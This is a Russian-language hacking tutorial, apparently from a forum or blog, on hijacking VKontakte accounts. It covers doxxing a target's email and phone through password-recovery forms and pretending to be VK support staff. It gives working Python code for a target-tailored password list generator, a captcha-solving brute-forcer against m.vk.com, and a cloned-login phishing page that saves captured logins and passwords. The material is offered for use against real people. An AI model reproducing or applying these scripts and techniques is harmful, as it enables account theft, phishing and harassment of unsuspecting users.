Взлом ВК
DARK FORCEЕсли учесть, что большинство пользователей совершают ошибки, то взлом возможен, но не путаем понятия.
Уязвимости, позволяющей взламывать абсолютно любого юзера за пять секунд нет и не будет. А если и будет, то никто не собирается вам ее предлагать. Поэтому, те способы, которые представлены ниже, тем или иным образом направлены на обман юзера и используют отсутствие у него мозга.
Разделим весь процесс на несколько этапов. Первоначально нам понадобится цель, свободное время, безопасный доступ к вк.
Сбор информации
На этом этапе мы имеем страницу юзера, которого бы желательно взломать и нам необходимо собрать, как можно больше полезной информации, которая бы впоследствии помогла в успешном взломе.
Что же такого имеется на странице?
1) Урл страницы. Сохраняем себе айди или если там имеется буквенная замена, то ее. Аккаунты и прочее данного человека, всякого рода твиттеры и прочее.
2) Почта. Разумеется мы бы хотели заиметь почту цели. Писать ему/ей напрямую и выпытывать? В большинстве случаев это не потребуется. Если человек не только попал в сеть, вы сможете найти почту путем простого гугления.
Например особо удобно отыскивать мыло на мэйл ру. Один из способов - это просто погуглить фио цели и дату рождения. Или же другого рода такие комбинации. Если цель имеет мой мир на маиле, то почта будет в коде страницы или же в урл.
Если просто имеется почта без соц.сети от мейла ее тоже можно запросто выяснить зарегавши себе другую почту на этом сервисе и поискав в мессенджере от мэйла.
И как вариант вы можете поискать полезную информацию с помощью имеющихся у цели аккаунтов. То есть берем например никнейм в Твиттере/Фейсбуке/другое и пробиваем по популярным почтовым сервисам. Также в Твиттере можно использовать форму восстановления и узнать часть почты. В фейсбуке можно напрямую поискать аккаунт введя почту в поиск. И в некоторых сервисах есть такая штука, как импорт почтовых контактов и предложение добавить этих людей в друзья. То есть можно зарегать левую почту и узнать дополнительные аккаунты. Если почта не была запалена сразу, то найти ее можно только так с помощью последовательного поиска полезной информации.
3) Телефон. А как же узнать номер человека? Если исключить такие варианты, как публикация юзером своего номера на странице (есть и такие) и например использования им телефона для связи в каком-либо проекте, где он выложен в открытую (авито/свой сайт/покупка или продажа недвижимости/другое), то остается лишь этот вариант.
Есть такой, не сказать открытый, но достаточно простой способ, позволяющий узнать номер юзера, если у вас имеется несколько его аккаунтов, привязанных к одной и той же почте.
Пример: имеется почта юзера на маиле. Вводим ее в форму восстановления вконтакте и нам пишет часть номера. Вводим также ее на маиле в восстановлении. И если номер там привязан, то вы увидите уже другую часть номера. Если почта не привязана, то тогда там есть секретный вопрос.
Перебираем его и заставляем юзера привязать мобилку на сервис. Теперь у вас не хватает лишь двух цифр от почты. Чтобы их узнать достаточно перебрать форму восстановления вк уже с помощью номера. Всего-то 99 раз. Можно и автоматизировать. А когда будет запрашивать фамилию страницы, как доп защиту, запросто вводим ее. Ведь мы же знаем страницу цели.
Также в некоторых случаях люди любят публиковать свой номер на странице, но закрывать часть номера звездочками, черточками и т. д. Если вам повезет, то будут незакрыты именно те цифры, которые вам недоступны в форме восстановления вк.
Взлом
В данном этапе вы должны получить доступ к аккаунту цели. Основные способы:
1) Социнженерия. Сразу скажу этот способ годится либо для совсем школьников, либо наоборот для стариков, которые мало что знают об интернете, но решили по каким-либо причинам зарегаться в соц.сети. Если вы хотите просто попрактиковаться, то новички вк могут быть найдены
здесь.
В основном тут используется простой механизм. Человек, который не разбирается в чем-то, подсознательно доверяет более опытным юзерам/админам/техподдержке и принимает их слова на веру.
Тут можно создать аккаунт представителя техподдержки, создать "официальную" почту администрации и прочее. И придумать некую ахуительную историю. Что новые юзеры обязаны проходить проверку после регистрации и дать например ссылку на некий тест, по итогу или для входа которого требуется логин-пасс от вк. Главное в общем-то не заострять внимание на пароле. Просто писать,что можете ли вы написать мне свои данные от аккаунта не стоит. Следует убедить пользователя, что он в безопасности. Этот способ хорошо сочетается с фейком. Кроме того продвинутые социнженеры могут узнав номер юзера позвонив (разумеется анонимно, используя sip) и развести напрямую. Кроме того все извлеченная вами информация, например известный вам номер телефона/упоминание фактов с указанием дат/другое косвенно говорит о том, что вы из техподдержки.
В данном способе все зависит от вас, поэтому вы можете прокачать свои навыки на разного рода новичках в вк, а потом переходить к более-менее обычным юзерам.
2) Умный брутфорс. Брутфорс - это перебор пароля, кто не в курсе. Данная атака сработает, если наша цель - среднестатический юзер, который ставит слабые пароли на свои аккаунты, для более легкого запоминания.
Для него нам понадобится, заточенный исключительно под нашего юзера словарь. Такой неоткуда не возьмешь, поэтому составляем сами. Что у нас есть? Пример (персонаж вымышленный).
Дата рождения - 17.11.1992 = 1711, 1992, 17111992
Возраст - 2016 - 1992 = 24
Имя - Стас = stas, ctac
Фамилия - Курягин = kuryagin,
Аккаунты - twitter.com/stasik_ku , facebook.com/stasss1992, stasss92 @ mail.ru = stasik_ku, stasss1992, stasss92
Увлечения - футбол, плавание, молодежка = football, swimming, molodejka, molodegka
Также есть страница вк, на которой написано какие пароли следует указывать, какие символы возможны и самые частые пароли.
Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые мог бы создать недалекий юзер.
Ниже небольшой скрипт на python, который этим и занимается.
#! coding:utf-8 import sys,os razdel = ['_',':',';'] def uniq(seq): seen = set() seen_add = seen.add return [x for x in seq if not (x in seen or seen_add(x))] def brute_words(spisok): spisok2 = [] for i in spisok: spisok2.append(i) spisok2.append(i[0].upper()+i[1:]) spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper()) spisok2.append(i.upper()) for j in spisok: spisok2.append(i+j) for m in razdel: spisok2.append(j+m+i) spisok2.append(j+i) spisok2.append(i+i+j) spisok2.append(j+j+i) spisok2.append(i[0].upper()+i[1:]+j) spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper()+j) return uniq(spisok2) def generate(spisok_file): o = open(spisok_file,'r') spisok = o.read().splitlines() for i in brute_words(spisok): print i def main(): try: argv1 = sys.argv[1] generate(argv1) except IndexError: print "Нужно указать файл" except IOError: print "Нет такого файла" if __name__ == "__main__": main()
Из 14 получилось 1272 варианта.
Но что же с этим делать? Не сидеть же и перебирать вручную каждый пароль.
Разумеется, необходимо все более или менее автоматизировать.
Для этой цели есть скрипт, который брутит через мобильную версию вк.
#! coding: utf8 import grab,re,urllib2 from antigate import AntiGate from grab import GrabTimeoutError from time import sleep cap_key = '123 ' #Ваш ключ с антигейт def anti(key, file): #Получение решения капчи с антигейт try: try: data = AntiGate(key, file) return data except KeyboardInterrupt: print "Завершение" except: anti(key,file) def save(url, file): #Скачивание файла по урл f = urllib2.urlopen(url) f2 = open(file, 'wb') f2.write(f.read()) def cap_solve(img): save(img, 'captcha.jpg') key = anti(cap_key, 'captcha.jpg') return key def brute(login,passwords,save): o = open(save,'w') o2 = open(passwords,'r') try: int(login) prefix = True except: prefix = False g = grab.Grab() g.go('http://m.vk.com') for i in o2: i2 = i.rstrip('\r\n') g.doc.set_input('email',login) g.doc.set_input('pass',i2) g.doc.submit() if g.doc.text_search(u'captcha'): c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0] c2 = 'http://m.vk.com' + c1 key = cap_solve(c2) g.doc.set_input('email',login) g.doc.set_input('pass',i2) g.doc.set_input('captcha_key',str(key)) g.doc.submit() print "cap" if 'Подтвердить' in g.response.body: if prefix: prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0) prefix2 = g.doc.rex_search('<span class="field_prefix"> [0-9]*</span>').group(0) pre1 = re.findall('[0-9]{1,}', prefix1)[0] pre2 = re.findall('[0-9]{1,}', prefix2)[0] login = login.replace(pre1,'') login = login.replace(pre2,'') g.set_input('code', login) g.submit() print login + ':' + i2 + '--success' o.write(login + ':' + i2 + '\n') else: o.write(login + ':' + i2 + '\n') else: if g.doc.rex_search('[^>]+').group(0) == 'Login | VK': print login + ':' + i2 + '--fail' else: print login + ':' + i2 + '--success' o.write(login + ':' + i2 + '\n') o.close() o2.close()
Он для одиночной цели, без прокси и многопоточности. Зато он может сам ввести недостающие цифры в защиту вк заходе с другой страны. Также с помощью антигейт запросто вводит капчи, которые появляются после 5-6 попытки ввода с одного айпи.
3) Фейк наше все. Данный способ предназначен для невнимательных людей. По большей части их либо завлекают халявой, либо отвлекают внимание с помощью многобукв. Ниже способ, как создать простой фейк на основе обычного сайта вк (страницы логина). Можете брать, как мобильную, так и основную версии зависит от того, с какого устройства будет заходить юзер. Насчет регистрации на хостинге и покупки похожего домена ничего писать не буду, так как это банально просто.
Ручной способ
Первым делом качаем страницу логина вк через ваш браузер. Затем смените кодировку html файла на utf-8.
Сначала определяем кодировку
file --mime-encoding file.html
Затем меняем с исходной на новую
iconv -f iso-8859-1 -t utf-8 file.html > vk2.html
Далее вам нужно создать управление страницей на серверном языке. Для этой цели можно использовать python. Можно заюзать простейший фреймворк под названием bottle. Его плюс, в том что ему не нужны никакие зависимости. Просто качаете файл скрипта с сайта и все.
@route('/')
def index():
return template('vk2.html')
@route('/Welcome! | VK_files/')
def server_static(filepath):
return static_file(filepath, root='./Welcome! | VK_files/')
После тестового запуска скрипта обнаружилась ошибка 404 на кое-каких файлах.
У нас к сожалению не имеется нужных картинок с сайта. Давайте положим их в отдельную папку images.
mkdir images
cd images
wget http://vk.com/images/hatf_vk.gif
wget "http://vk.com/images/darr_dd_out.gif"
wget "http://vk.com/images/backlink.gif"
mkdir icons
cd icons
wget "http://vk.com/images/icons/facebook_btn_icon.png"
wget "http://vk.com/images/icons/check.gif"
Пропишем новый роутинг в скрипте.
@route('/images/<filepath:path>')
def server_static(filepath):
return static_file(filepath, root='./images/')
Теперь все стало на порядок красивее. Вы конечно можете скачать также основные страницы, на которые можно перейти с основной не залогинившись, чтобы было правдоподобней (а потом поменять ссылки в основной), но и одной хватит.
Чего же не хватает? Ах да конечно. После логина ничего не происходит. Давайте изменим это.
Добавим роутинг для пост запроса. Найдем форму логина на странице. Изменим в ее коде action на пустое и удалим проверку onsubmit. И добавим обработку post-запроса.
@post('/')
def index():
login = request.forms.get('email')
password = request.forms.get('pass')
print "|Catch|-------------- " + login + ':' + password
with open("log.txt", "a") as myfile:
myfile.write(login + ':' + password + "\n")
return redirect('http://www.vk.com')
Так работает. Правда пока лишь после нажатия enter, но не по клику кнопки.
Переносим тег button, что под формой в коде в пределы формы и добавляем свойство type="submit".
После этого кнопка работает, как надо.
Автоматический способ
Если хотите использовать уже готовое решение, то можно воспользоваться тулкитом SET. Social Engineer Toolkit. Входит в дистрибутив кали. Можно установить на обычный debian на сервере, используя репы kali или установив все зависимости по отдельности.
Используем функцию site cloner в составе set. В нем есть дополнительные возможности, такие как встраивание вредоносных скриптов прямо в страницу или же добавление опасных flash.